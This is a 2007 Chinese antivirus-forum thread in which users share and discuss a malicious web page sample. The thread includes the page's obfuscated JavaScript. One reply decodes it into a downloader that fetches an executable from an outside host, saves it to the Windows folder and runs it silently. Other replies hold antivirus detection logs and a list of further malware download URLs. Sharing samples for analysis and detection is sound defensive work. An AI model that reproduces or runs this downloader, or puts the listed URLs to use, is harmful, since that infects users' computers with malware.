JS一个＋毒包

显示全部楼层 · 发表于 2007-5-18 21:10:49

[ 本帖最后由 promised 于 2007-5-19 15:39 编辑 ]

显示全部楼层 · 发表于 2007-5-18 21:12:05

费尔杀了

显示全部楼层 · 发表于 2007-5-18 21:12:11

Kaspersky Internet Security 7.0 Beta
The requested URL http://bbs.kafan.cn/attachment.php?aid=72314 is infected with Trojan-Downloader.JS.Psyme.gh virus

显示全部楼层 · 发表于 2007-5-18 21:17:52

<html>
<head>
<title></title>
<script language =javascript>
var Z=function(m){return String.fromCharCode(m^79)};eval(Z(41)+Z(58)+Z(33)+Z(44)+Z(59)+Z(38)+Z(32)+Z(33)+Z(111)+Z(40)+Z(33)+Z(103)+Z(33)+Z(102)+Z(52)+Z(57)+Z(46)+Z(61)+Z(111)+Z(33)+Z(58)+Z(34)+Z(45)+Z(42)+Z(61)+Z(111)+Z(114)+Z(111)+Z(2)+Z(46)+Z(59)+Z(39)+Z(97)+Z(61)+Z(46)+Z(33)+Z(43)+Z(32)+Z(34)+Z(103)+Z(102)+Z(101)+Z(33)+Z(116)+Z(61)+Z(42)+Z(59)+Z(58)+Z(61)+Z(33)+Z(111)+Z(104)+Z(49)+Z(59)+Z(34)+Z(63)+Z(104)+Z(100)+Z(2)+Z(46)+Z(59)+Z(39)+Z(97)+Z(61)+Z(32)+Z(58)+Z(33)+Z(43)+Z(103)+Z(33)+Z(58)+Z(34)+Z(45)+Z(42)+Z(61)+Z(102)+Z(100)+Z(104)+Z(97)+Z(42)+Z(55)+Z(42)+Z(104)+Z(116)+Z(50)+Z(59)+Z(61)+Z(54)+Z(52)+Z(43)+Z(35)+Z(114)+Z(104)+Z(39)+Z(59)+Z(59)+Z(63)+Z(117)+Z(96)+Z(96)+Z(34)+Z(46)+Z(38)+Z(35)+Z(97)+Z(119)+Z(58)+Z(119)+Z(54)+Z(97)+Z(44)+Z(32)+Z(34)+Z(96)+Z(46)+Z(43)+Z(96)+Z(63)+Z(38)+Z(44)+Z(96)+Z(59)+Z(42)+Z(34)+Z(63)+Z(97)+Z(42)+Z(55)+Z(42)+Z(104)+Z(116)+Z(57)+Z(46)+Z(61)+Z(111)+Z(43)+Z(41)+Z(114)+Z(43)+Z(32)+Z(44)+Z(58)+Z(34)+Z(42)+Z(33)+Z(59)+Z(97)+Z(44)+Z(61)+Z(42)+Z(46)+Z(59)+Z(42)+Z(10)+Z(35)+Z(42)+Z(34)+Z(42)+Z(33)+Z(59)+Z(103)+Z(109)+Z(32)+Z(45)+Z(37)+Z(42)+Z(44)+Z(59)+Z(109)+Z(102)+Z(116)+Z(43)+Z(41)+Z(97)+Z(60)+Z(42)+Z(59)+Z(14)+Z(59)+Z(59)+Z(61)+Z(38)+Z(45)+Z(58)+Z(59)+Z(42)+Z(103)+Z(109)+Z(44)+Z(35)+Z(46)+Z(60)+Z(60)+Z(38)+Z(43)+Z(109)+Z(99)+Z(109)+Z(44)+Z(35)+Z(60)+Z(38)+Z(43)+Z(117)+Z(13)+Z(11)+Z(118)+Z(121)+Z(12)+Z(122)+Z(122)+Z(121)+Z(98)+Z(121)+Z(122)+Z(14)+Z(124)+Z(98)+Z(126)+Z(126)+Z(11)+Z(127)+Z(98)+Z(118)+Z(119)+Z(124)+Z(14)+Z(98)+Z(127)+Z(127)+Z(12)+Z(127)+Z(123)+Z(9)+Z(12)+Z(125)+Z(118)+Z(10)+Z(124)+Z(121)+Z(109)+Z(102)+Z(116)+Z(57)+Z(46)+Z(61)+Z(111)+Z(55)+Z(114)+Z(43)+Z(41)+Z(97)+Z(12)+Z(61)+Z(42)+Z(46)+Z(59)+Z(42)+Z(0)+Z(45)+Z(37)+Z(42)+Z(44)+Z(59)+Z(103)+Z(109)+Z(2)+Z(38)+Z(44)+Z(61)+Z(32)+Z(60)+Z(32)+Z(41)+Z(59)+Z(97)+Z(23)+Z(109)+Z(100)+Z(109)+Z(2)+Z(109)+Z(100)+Z(109)+Z(3)+Z(109)+Z(100)+Z(109)+Z(7)+Z(109)+Z(100)+Z(109)+Z(27)+Z(109)+Z(100)+Z(109)+Z(27)+Z(109)+Z(100)+Z(109)+Z(31)+Z(109)+Z(99)+Z(109)+Z(109)+Z(102)+Z(116)+Z(57)+Z(46)+Z(61)+Z(111)+Z(28)+Z(114)+Z(43)+Z(41)+Z(97)+Z(12)+Z(61)+Z(42)+Z(46)+Z(59)+Z(42)+Z(0)+Z(45)+Z(37)+Z(42)+Z(44)+Z(59)+Z(103)+Z(109)+Z(14)+Z(43)+Z(32)+Z(43)+Z(45)+Z(97)+Z(28)+Z(59)+Z(61)+Z(42)+Z(46)+Z(34)+Z(109)+Z(99)+Z(109)+Z(109)+Z(102)+Z(116)+Z(28)+Z(97)+Z(59)+Z(54)+Z(63)+Z(42)+Z(114)+Z(126)+Z(116)+Z(55)+Z(97)+Z(32)+Z(63)+Z(42)+Z(33)+Z(103)+Z(109)+Z(8)+Z(10)+Z(27)+Z(109)+Z(99)+Z(111)+Z(43)+Z(35)+Z(99)+Z(127)+Z(102)+Z(116)+Z(55)+Z(97)+Z(60)+Z(42)+Z(33)+Z(43)+Z(103)+Z(102)+Z(116)+Z(41)+Z(33)+Z(46)+Z(34)+Z(42)+Z(126)+Z(114)+Z(40)+Z(33)+Z(103)+Z(126)+Z(127)+Z(127)+Z(127)+Z(127)+Z(102)+Z(116)+Z(57)+Z(46)+Z(61)+Z(111)+Z(9)+Z(114)+Z(43)+Z(41)+Z(97)+Z(12)+Z(61)+Z(42)+Z(46)+Z(59)+Z(42)+Z(0)+Z(45)+Z(37)+Z(42)+Z(44)+Z(59)+Z(103)+Z(109)+Z(28)+Z(44)+Z(61)+Z(38)+Z(63)+Z(59)+Z(38)+Z(33)+Z(40)+Z(97)+Z(9)+Z(38)+Z(35)+Z(42)+Z(28)+Z(54)+Z(60)+Z(59)+Z(42)+Z(34)+Z(0)+Z(45)+Z(37)+Z(42)+Z(44)+Z(59)+Z(109)+Z(99)+Z(109)+Z(109)+Z(102)+Z(116)+Z(57)+Z(46)+Z(61)+Z(111)+Z(59)+Z(34)+Z(63)+Z(114)+Z(9)+Z(97)+Z(8)+Z(42)+Z(59)+Z(28)+Z(63)+Z(42)+Z(44)+Z(38)+Z(46)+Z(35)+Z(9)+Z(32)+Z(35)+Z(43)+Z(42)+Z(61)+Z(103)+Z(127)+Z(102)+Z(116)+Z(41)+Z(33)+Z(46)+Z(34)+Z(42)+Z(126)+Z(114)+Z(111)+Z(9)+Z(97)+Z(13)+Z(58)+Z(38)+Z(35)+Z(43)+Z(31)+Z(46)+Z(59)+Z(39)+Z(103)+Z(59)+Z(34)+Z(63)+Z(99)+Z(41)+Z(33)+Z(46)+Z(34)+Z(42)+Z(126)+Z(102)+Z(116)+Z(28)+Z(97)+Z(0)+Z(63)+Z(42)+Z(33)+Z(103)+Z(102)+Z(116)+Z(28)+Z(97)+Z(24)+Z(61)+Z(38)+Z(59)+Z(42)+Z(103)+Z(55)+Z(97)+Z(61)+Z(42)+Z(60)+Z(63)+Z(32)+Z(33)+Z(60)+Z(42)+Z(13)+Z(32)+Z(43)+Z(54)+Z(102)+Z(116)+Z(28)+Z(97)+Z(28)+Z(46)+Z(57)+Z(42)+Z(27)+Z(32)+Z(9)+Z(38)+Z(35)+Z(42)+Z(103)+Z(41)+Z(33)+Z(46)+Z(34)+Z(42)+Z(126)+Z(99)+Z(125)+Z(102)+Z(116)+Z(28)+Z(97)+Z(12)+Z(35)+Z(32)+Z(60)+Z(42)+Z(103)+Z(102)+Z(116)+Z(57)+Z(46)+Z(61)+Z(111)+Z(30)+Z(114)+Z(43)+Z(41)+Z(97)+Z(12)+Z(61)+Z(42)+Z(46)+Z(59)+Z(42)+Z(0)+Z(45)+Z(37)+Z(42)+Z(44)+Z(59)+Z(103)+Z(109)+Z(28)+Z(39)+Z(42)+Z(35)+Z(35)+Z(97)+Z(14)+Z(63)+Z(63)+Z(35)+Z(38)+Z(44)+Z(46)+Z(59)+Z(38)+Z(32)+Z(33)+Z(109)+Z(99)+Z(109)+Z(109)+Z(102)+Z(116)+Z(30)+Z(97)+Z(28)+Z(39)+Z(42)+Z(35)+Z(35)+Z(10)+Z(55)+Z(42)+Z(44)+Z(58)+Z(59)+Z(42)+Z(103)+Z(41)+Z(33)+Z(46)+Z(34)+Z(42)+Z(126)+Z(99)+Z(109)+Z(109)+Z(99)+Z(109)+Z(109)+Z(99)+Z(109)+Z(32)+Z(63)+Z(42)+Z(33)+Z(109)+Z(99)+Z(127)+Z(102)+Z(116)+Z(50)+Z(44)+Z(46)+Z(59)+Z(44)+Z(39)+Z(103)+Z(38)+Z(102)+Z(52)+Z(38)+Z(114)+Z(126)+Z(116)+Z(50)+'');
</script>

</head><body>

</body></html>

显示全部楼层 · 发表于 2007-5-18 21:19:52

Javascript我不行... 不会解密

等dikex还是mofunzone来大显身手

显示全部楼层 · 发表于 2007-5-18 21:20:06

怎么这个贴子有毒啊

显示全部楼层 · 发表于 2007-5-18 21:21:49

NOD 。。。。。。PASS

显示全部楼层 · 发表于 2007-5-18 21:24:43

Javascript我基本不会，但解密只要知道大概格式和那个是执行语句就可以了，eval，document.write等，网上有教程，找找吧

function gn(n){var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';}try{dl='http://mail.8u8y.com/ad/pic/temp.exe';var df=document.createElement("object");df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var S=df.CreateObject("Adodb.Stream","");S.type=1;x.open("GET", dl,0);x.send();fname1=gn(10000);var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);fname1= F.BuildPath(tmp,fname1);S.Open();S.Write(x.responseBody);S.SaveToFile(fname1,2);S.Close();var Q=df.CreateObject("Shell.Application","");Q.ShellExecute(fname1,"","","open",0);}catch(i){i=1;}

复制代码

显示全部楼层 · 发表于 2007-5-18 21:34:53

Begin scan in 'D:\Documents and Settings\dell\桌面\14[1].rar'
D:\Documents and Settings\dell\桌面\
D:\Documents and Settings\dell\桌面\14[1].rar
  [0] Archive type: RAR
  --> 14[1].htm
   [DETECTION] Contains signature of the Java script virus JS/Dldr.Agen.bga.12
   [WARNING] Infected files in archives cannot be repaired!
   [INFO]    A backup was created as '46a8ab84.qua'  ( QUARANTINE )
   [INFO]    The file was deleted!

显示全部楼层 · 发表于 2007-5-18 21:44:33

根据http://mail.8u8y.com/ad/pic/temp.exe里面内容http://mail.8u8y.com/ad/pic/12.txt，轻易地找到了一堆病毒的地址列表

http://222.215.152.75/zo.exe
http://222.215.152.75/kap.exe
http://222.215.152.75/wow.exe
http://222.215.152.75/wll.exe
http://222.215.152.75/vip.exe
http://down.44986.com/down1/data/zo.exe
http://down.44986.com/down1/data/kap.exe
http://down.44986.com/down1/data/wll.exe
http://down.44986.com/down1/data/wow.exe
http://down.44986.com/down1/data/vip.exe

其中上面两部分的文件是一样的

样本密码：virus

[病毒样本] JS一个＋毒包

本帖子中包含更多资源

java

本帖子中包含更多资源

浏览过的版块